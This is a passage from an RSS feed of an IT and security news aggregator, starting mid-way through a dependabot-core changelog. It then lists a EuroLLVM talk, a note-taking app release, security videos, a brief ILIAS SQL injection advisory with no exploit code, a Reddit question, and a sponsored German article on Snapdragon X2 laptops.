<li>Update Sorbet toolchain and regenerate gem RBIs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652795499" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15304" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15304/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15304">#15304</a></li>
<li>Enable six zero-offense Sorbet guardrail cops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652948476" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15305" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15305/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15305">#15305</a></li>
<li>Replace to_hash with to_h and enable ImplicitConversionMethod by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652948732" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15306" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15306/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15306">#15306</a></li>
<li>Enforce method signatures via Sorbet/EnforceSignatures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652949147" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15307" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15307/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15307">#15307</a></li>
<li>Image content validation for manifest lists for container image updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpinz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpinz">@jpinz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695234221" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15352" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15352/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15352">#15352</a></li>
<li>Type Version and Requirement internals across ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721203118" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15379" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15379/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15379">#15379</a></li>
<li>Type RequirementsUpdater base and gradle/maven/sbt with DependencyRequirement by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721309063" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15380" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15380/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15380">#15380</a></li>
<li>Type standalone RequirementsUpdaters with DependencyRequirement by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721505213" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15381" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15381/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15381">#15381</a></li>
<li>Drop Python 3.9 support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728157653" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15391" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15391/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15391">#15391</a></li>
<li>Stub docker manifest request in helm update_checker spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729678690" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15398" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15398/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15398">#15398</a></li>
<li>Parse DependencyGroup rules into typed readers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729573225" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15395" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15395/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15395">#15395</a></li>
<li>Type provider_metadata as integer-keyed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729573621" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15396" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15396/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15396">#15396</a></li>
<li>Fix Swift native requirement parser when there are additional arguments in <code>.package()</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kkebo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kkebo">@kkebo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656860675" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15311" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15311/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15311">#15311</a></li>
<li>v0.383.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712822309" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15365" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15365/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15365">#15365</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lucasmazza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lucasmazza">@lucasmazza</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613742805" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15249" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15249/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15249">#15249</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajha-cs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajha-cs">@ajha-cs</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664826172" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15324" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15324/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15324">#15324</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kkebo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kkebo">@kkebo</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656860675" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15311" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15311/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15311">#15311</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.382.0...v0.383.0"><tt>v0.382.0...v0.383.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 EuroLLVM - CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:1 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability
Speaker: Aaron Jomy
------
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technic...]]></description>
<link>https://tsecurity.de/de/3619971/it-security-video/2026-eurollvm-cppinterop-interactive-c-as-a-service-and-advanced-language-interoperability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619971/it-security-video/2026-eurollvm-cppinterop-interactive-c-as-a-service-and-advanced-language-interoperability/</guid>
<pubDate>Wed, 24 Jun 2026 03:33:05 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/GuodsU3VO8Q?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability<br />
Speaker: Aaron Jomy<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_talk_jomy.pdf<br />
-----<br />
CppInterOp provides compiler-as-a-service capabilities using Clang-REPL, enabling dynamic languages to interoperate with C++. This talk covers its technical architecture, including runtime template instantiation, C++ overload resolution, and JitCall - a lightweight runtime wrapper generator. We demonstrate how CppInterOp's API, built on Clang's AST, enables practical Python-C++ interoperability, including use cases like invoking CUDA kernels from Python and cross-language inheritance between Python and C++ classes.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 EuroLLVM - CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:4 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability
Speaker: Aaron Jomy
------
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technic...]]></description>
<link>https://tsecurity.de/de/3619964/it-security-video/2026-eurollvm-cppinterop-interactive-c-as-a-service-and-advanced-language-interoperability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619964/it-security-video/2026-eurollvm-cppinterop-interactive-c-as-a-service-and-advanced-language-interoperability/</guid>
<pubDate>Wed, 24 Jun 2026 03:17:58 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-xbcgdO0g2Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: CppInterOp: Interactive C++ as a Service and Advanced Language Interoperability<br />
Speaker: Aaron Jomy<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_talk_jomy.pdf<br />
-----<br />
CppInterOp provides compiler-as-a-service capabilities using Clang-REPL, enabling dynamic languages to interoperate with C++. This talk covers its technical architecture, including runtime template instantiation, C++ overload resolution, and JitCall - a lightweight runtime wrapper generator. We demonstrate how CppInterOp's API, built on Clang's AST, enables practical Python-C++ interoperability, including use cases like invoking CUDA kernels from Python and cross-language inheritance between Python and C++ classes.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[App][Update] Whisp 1.3.4 released with Text Expansion and Donations now being live]]></title>
<description><![CDATA[Hello,  A while back, I shared Whisp, anti-folder note-taking app I’ve been developing for GNOME. The feedback from this community was amazing, and Whisp now has over 3.7k downloads. Thank you all so much! (A quick personal note: Whisp is completely open-source and I develop it solo between my un...]]></description>
<link>https://tsecurity.de/de/3616925/linux-tipps/appupdate-whisp-134-released-with-text-expansion-and-donations-now-being-live/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616925/linux-tipps/appupdate-whisp-134-released-with-text-expansion-and-donations-now-being-live/</guid>
<pubDate>Tue, 23 Jun 2026 02:08:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello, </p> <p>A while back, I shared <a href="https://flathub.org/en/apps/io.github.tanaybhomia.Whisp">Whisp</a>, anti-folder note-taking app I’ve been developing for GNOME. The feedback from this community was amazing, and Whisp now has over 3.7k downloads. Thank you all so much!</p> <p><strong><em>(A quick personal note: Whisp is completely open-source and I develop it solo between my university classes. Because a few people asked how they could support the project, I've finally set up a donation link on the website via Ko-fi/GitHub Sponsors. There is absolutely no pressure, but if Whisp helps your daily workflow, any support means the world to a broke student!)</em></strong> <strong>😅</strong></p> <p>Along with the milestone, I've been quietly working on a feature that a lot of you asked for: <strong>Smart Text Expansions</strong>.</p> <p>In the new v1.3.4 update, if you type <code>::</code> anywhere in a note, it now opens a native GTK popover menu right at your cursor. You can use it to instantly insert dynamic data without breaking your typing flow.</p> <p>A few things you can do with it right now:</p> <ul> <li><code>::today</code> / <code>::tomorrow</code> / <code>::date(5)</code> to insert dynamically calculated dates.</li> <li><code>::roll(d20)</code> or <code>::roll(4d6)</code> for built-in dice rollers (great for D&amp;D session notes).</li> <li><code>::random(str, 20)</code> to generate quick passwords or placeholder data.</li> </ul> <p>It’s completely keyboard-navigable and uses native GTK4 rendering, so there’s zero lag or electron-style bloat. I'm building this engine out so that in the next update, you'll be able to use it to instantly format text or sort lines!</p> <p>You can get the update right now on Flathub. I attached a quick video showing how the expansions work—let me know what you think or what functions I should add next!</p> <p><strong>Links:</strong></p> <ul> <li><strong>Donations:</strong> <a href="https://tanaybhomia.github.io/Whisp/donate.html">https://tanaybhomia.github.io/Whisp/donate.html</a></li> <li><strong>Flathub:</strong> <a href="https://flathub.org/en/apps/io.github.tanaybhomia.Whisp">https://flathub.org/en/apps/io.github.tanaybhomia.Whisp</a></li> <li><strong>Source / GitHub:</strong> <a href="https://github.com/tanaybhomia/whisp">https://github.com/tanaybhomia/whisp</a></li> <li><strong>Website:</strong> <a href="https://tanaybhomia.github.io/Whisp/">https://tanaybhomia.github.io/Whisp/</a></li> </ul> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Baajjii"> /u/Baajjii </a> <br> <span><a href="https://i.redd.it/j7sowx2d1v8h1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ucpalu/appupdate_whisp_134_released_with_text_expansion/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat Intercepted | James Holland, Palo Alto Networks]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 1x - Views:9 James Holland from the Office of the CTO at Palo Alto Networks shares insights from having attended around 14 Black Hat events, focusing on proactive threat detection and zero-day threat analysis. Learn how network operations centers identify emerging t...]]></description>
<link>https://tsecurity.de/de/3616087/it-security-video/black-hat-intercepted-james-holland-palo-alto-networks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616087/it-security-video/black-hat-intercepted-james-holland-palo-alto-networks/</guid>
<pubDate>Mon, 22 Jun 2026 18:19:00 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 1x - Views:9 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/o8ojdgF3YjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>James Holland from the Office of the CTO at Palo Alto Networks shares insights from having attended around 14 Black Hat events, focusing on proactive threat detection and zero-day threat analysis. Learn how network operations centers identify emerging threats without relying on specific CVE knowledge, how firewalls provide critical visibility for zero-day attacks, and the essential role of XDR and EDR platforms in incident response and timeline reconstruction.<br />
<br />
Discover how Black Hat research enables security teams to build protection for entire classes of exploit techniques rather than chasing individual vulnerabilities. This community-driven approach helps the cybersecurity industry strengthen defenses against threat actors worldwide through shared knowledge and broader security strategies.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12789 | ILIAS Learning Management System 11.0 Learning Progress Tracking class.ilTrQuery.php executeQueries troup_table_nav sql injection (EUVD-2026-38153)]]></title>
<description><![CDATA[A vulnerability was found in ILIAS Learning Management System 11.0 and classified as critical. This issue affects the function ilTrQuery::executeQueries of the file components/ILIAS/Tracking/classes/class.ilTrQuery.php of the component Learning Progress Tracking. Such manipulation of the argument...]]></description>
<link>https://tsecurity.de/de/3613505/sicherheitsluecken/cve-2026-12789-ilias-learning-management-system-110-learning-progress-tracking-classiltrqueryphp-executequeries-trouptablenav-sql-injection-euvd-2026-38153/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3613505/sicherheitsluecken/cve-2026-12789-ilias-learning-management-system-110-learning-progress-tracking-classiltrqueryphp-executequeries-trouptablenav-sql-injection-euvd-2026-38153/</guid>
<pubDate>Sun, 21 Jun 2026 13:09:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/ilias:learning_management_system">ILIAS Learning Management System 11.0</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects the function <code>ilTrQuery::executeQueries</code> of the file <em>components/ILIAS/Tracking/classes/class.ilTrQuery.php</em> of the component <em>Learning Progress Tracking</em>. Such manipulation of the argument <em>troup_table_nav</em> leads to sql injection.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-12789">CVE-2026-12789</a>. It is possible to launch the attack remotely. Furthermore, an exploit is available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[Is learning OOP good for reverse engineering?]]></title>
<description><![CDATA[I've noticed some of the binaries which I am decompiling are using classes and objects under the hood which are being wiped out once they are compiled. I am wondering whether learning OOP and what happens once you compile binaries with objects with methods and constructors will be beneficial?    ...]]></description>
<link>https://tsecurity.de/de/3612858/malware-trojaner-viren/is-learning-oop-good-for-reverse-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612858/malware-trojaner-viren/is-learning-oop-good-for-reverse-engineering/</guid>
<pubDate>Sun, 21 Jun 2026 01:03:01 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've noticed some of the binaries which I am decompiling are using classes and objects under the hood which are being wiped out once they are compiled. I am wondering whether learning OOP and what happens once you compile binaries with objects with methods and constructors will be beneficial?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/linux4117"> /u/linux4117 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1ub247k/is_learning_oop_good_for_reverse_engineering/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1ub247k/is_learning_oop_good_for_reverse_engineering/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA's Swift Boost mission will launch later this month to rescue a falling telescope]]></title>
<description><![CDATA[NASA mission to save a falling space telescope is ready to launch.]]></description>
<link>https://tsecurity.de/de/3612533/it-nachrichten/nasas-swift-boost-mission-will-launch-later-this-month-to-rescue-a-falling-telescope/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612533/it-nachrichten/nasas-swift-boost-mission-will-launch-later-this-month-to-rescue-a-falling-telescope/</guid>
<pubDate>Sat, 20 Jun 2026 19:18:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NASA mission to save a falling space telescope is ready to launch.]]></content:encoded>
</item>
<item>
<title><![CDATA[Warum sich Laptops gerade grundlegend verändern]]></title>
<description><![CDATA[Qualcomm Technologies



Wer am Laptop arbeitet, kennt die technischen Grenzen: Sie haben viele Browser-Tabs offen, nutzen Office-Programme und möchten im Hintergrund ein Video exportieren oder eine Datenbank abgleichen. Plötzlich stockt das Kamerabild in Ihrer Videokonferenz und die Lüfter drehe...]]></description>
<link>https://tsecurity.de/de/3611634/it-security-nachrichten/warum-sich-laptops-gerade-grundlegend-veraendern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611634/it-security-nachrichten/warum-sich-laptops-gerade-grundlegend-veraendern/</guid>
<pubDate>Sat, 20 Jun 2026 06:07:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Bildschirmfoto-2026-06-18-um-10.05.21.png?w=1024" alt="Laptops" class="wp-image-4186683" width="1024" height="571" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Qualcomm Technologies</p></div>



<p>Wer am Laptop arbeitet, kennt die technischen Grenzen: Sie haben viele Browser-Tabs offen, nutzen Office-Programme und möchten im Hintergrund ein Video exportieren oder eine Datenbank abgleichen. Plötzlich stockt das Kamerabild in Ihrer Videokonferenz und die Lüfter drehen laut hoch. Diese Schwächen liegen an einer Chip-Architektur, die physikalisch am Limit ist.</p>



<p>Bisher erkauften sich Laptop-Prozessoren ihre Geschwindigkeit durch einen hohen Stromverbrauch, der zwangsläufig viel Hitze erzeugte. <a href="https://www.qualcomm.com/de/de/snapdragon/laptops" target="_blank" rel="noreferrer noopener">Snapdragon® X2 Elite-Prozessoren</a> brechen dieses Muster durch eine Architektur, die hohe Leistung mit unglaublicher Energieeffizienz verbindet.</p>



<h2 class="wp-block-heading">18 Kerne, alle gleichwertig</h2>



<p>Das Spitzenmodell des Snapdragon X2 Elite nutzt die Qualcomm Oryon™-CPU mit bis zu 18 Kernen. Der entscheidende Unterschied liegt jedoch in der Art der Datenverarbeitung. Snapdragon X2 Elite setzt auf eine homogene Kernstruktur: Jeder Kern leistet das Gleiche und taktet mit bis zu 4,4 GHz. Kurz gesagt: Der Prozessor ist darauf ausgelegt, Aufgaben sofort zu bearbeiten, anstatt sie in eine Warteschlange zu schieben.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Bildschirmfoto-2026-06-18-um-10.05.45.png?w=1024" alt="Laptop" class="wp-image-4186684" width="1024" height="657" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Qualcomm Technologies</p></div>



<h2 class="wp-block-heading">So wichtig ist die Speicherbandbreite</h2>



<p>Ein oft unterschätzter Faktor bei Notebooks ist der Arbeitsspeicher. Snapdragon X2 Elite nutzt extrem schnellen LPDDR5x-Speicher, der Daten mit einer Geschwindigkeit von bis zu 228 GB/s verarbeitet. Dass diese Geschwindigkeit mit Snapdragon X2 in Windows-Notebooks verfügbar ist, ist eine spürbare Verbesserung. In der Praxis bedeutet das: Der Speicher wird nicht mehr zum Flaschenhals. Der Wechsel zwischen Programmen geschieht ohne Verzögerung, selbst wenn im Hintergrund anspruchsvolle Prozesse laufen. Ob Datenanalysen mit Excel, 3D-Modelle, 4K-Videoschnitt mit mehreren Spuren oder Visual-Studio-Projekte: Die Bandbreite entscheidet darüber, ob Ihr Laptop flüssig reagiert oder hakt.</p>



<h2 class="wp-block-heading">Lastverteilung im Chip</h2>



<p>Software stellt unterschiedliche Anforderungen an die Hardware. Ein Texteditor benötigt kaum Ressourcen, während hochauflösendes Bildmaterial die Hardware fordert. Snapdragon X2 Elite verteilt Aufgaben gezielt und aktiviert gezielt nur die Chip-Bereiche, die gerade benötigt werden. Während die CPU-Kerne kompilieren oder Bilder bearbeiten, übernimmt die Qualcomm® Hexagon™-NPU als spezialisierte Recheneinheit die Hintergrundunschärfe und Live-Transkription Ihrer Videokonferenz. Das schont den Akku und sorgt dafür, dass das System reaktionsschnell bleibt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Bildschirmfoto-2026-06-18-um-10.05.49.png?w=1024" alt="Laptop" class="wp-image-4186686" width="1024" height="657" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Qualcomm Technologies</p></div>



<h2 class="wp-block-heading">Stabile Leistung im Dauerbetrieb</h2>



<p>Viele herkömmliche Notebooks glänzen in Tests mit kurzen Höchstleistungen. Im Dauerbetrieb fällt die Performance jedoch oft um 20 bis 40 Prozent ab, weil der Chip zu heiß wird. Wenn die Wärme nicht abgeführt werden kann, drosselt das System. Auch unter Dauerbelastung bleibt Snapdragon X2 Elite thermisch stabil. Für Anwender, die Videos schneiden, in vielen Tabs surfen oder Code kompilieren, ist das ein entscheidender Vorteil, da die Leistung durchgehend konstant bleibt.</p>



<h2 class="wp-block-heading">Was die Benchmarks zeigen</h2>



<p>Unabhängige Benchmarks ordnen den Snapdragon X2 Elite Extreme – den leistungsstärksten Prozessor der Snapdragon X-Serie – im Geekbench-6.5-Multi-Core-Test eine bis zu doppelt so hohe (2x) Leistung* erzielt wie Intels Core Ultra 9 285H, dem Core Ultra 9 288V, AMDs Ryzen AI 9 HX 370 und Apples M4 ein (Stand September 2025, gemessen auf Referenz-Hardware). Solche Zahlen sind mit Vorsicht zu lesen, weil reale Workloads selten das abbilden, was synthetische Tests messen. Als Größenordnung sind sie aber brauchbar, und sie decken sich mit den Eindrücken, die Praxistests vermitteln.</p>



<h2 class="wp-block-heading">Software-Kompatibilität</h2>



<p>Laufen meine gewohnten Programme? Diese Frage ist heute fast immer mit „Ja“ zu beantworten. Ob Sie mit Microsoft, Adobe, Autodesk oder DaVinci Resolve arbeiten: Wichtige Anwendungen laufen inzwischen nativ auf Laptops mit Prozessoren der Snapdragon X2-Serie. Alles andere wird durch eine effiziente Emulation ohne spürbare Einbußen übersetzt. Wer auf Spezialsoftware angewiesen ist, etwa CAD-Plugins, Treiber für Messtechnik oder ältere Buchhaltungslösungen, sollte vor dem Kauf einen Blick in die Kompatibilitätsliste werfen.</p>



<h2 class="wp-block-heading">Für wen sich der Wechsel lohnt</h2>



<p>Wenn Sie von Ihrem Laptop echte Flexibilität und Mobilität erwarten, ohne ständig nach einer Steckdose suchen zu müssen, sollten Sie ein Gerät mit Snapdragon X2 Elite-Prozessor in Betracht ziehen. Die Kombination aus hoher Rechenleistung und herausragender Effizienz spricht alle an, die unterwegs intensiv mit ihrem Laptop arbeiten. Mit ihren reichlich vorhandenen Leistungsreserven sind diese Geräte zudem für die Anforderungen der kommenden Jahre bestens gerüstet.</p>



<p><a href="https://www.qualcomm.com/de/de/snapdragon/laptops" target="_blank" rel="noreferrer noopener">Jetzt mehr über Snapdragon X2 Elite erfahren.</a></p>



<p>* Snapdragon X2 Elite Extreme CPU-Performance basierend auf Geekbench 6.5 Multi-Core-Score, QTI-Referenzdesign September 2025, Vergleich mit Intel Core Ultra 9 285H (ASUS Zephyrus G16), Intel Core Ultra 9 288V (Acer Swift 16 AI OLED), AMD Ryzen AI 9 HX 370 (ASUS Vivobook S14) und Apple M4 (MacBook Air 15″)</p>



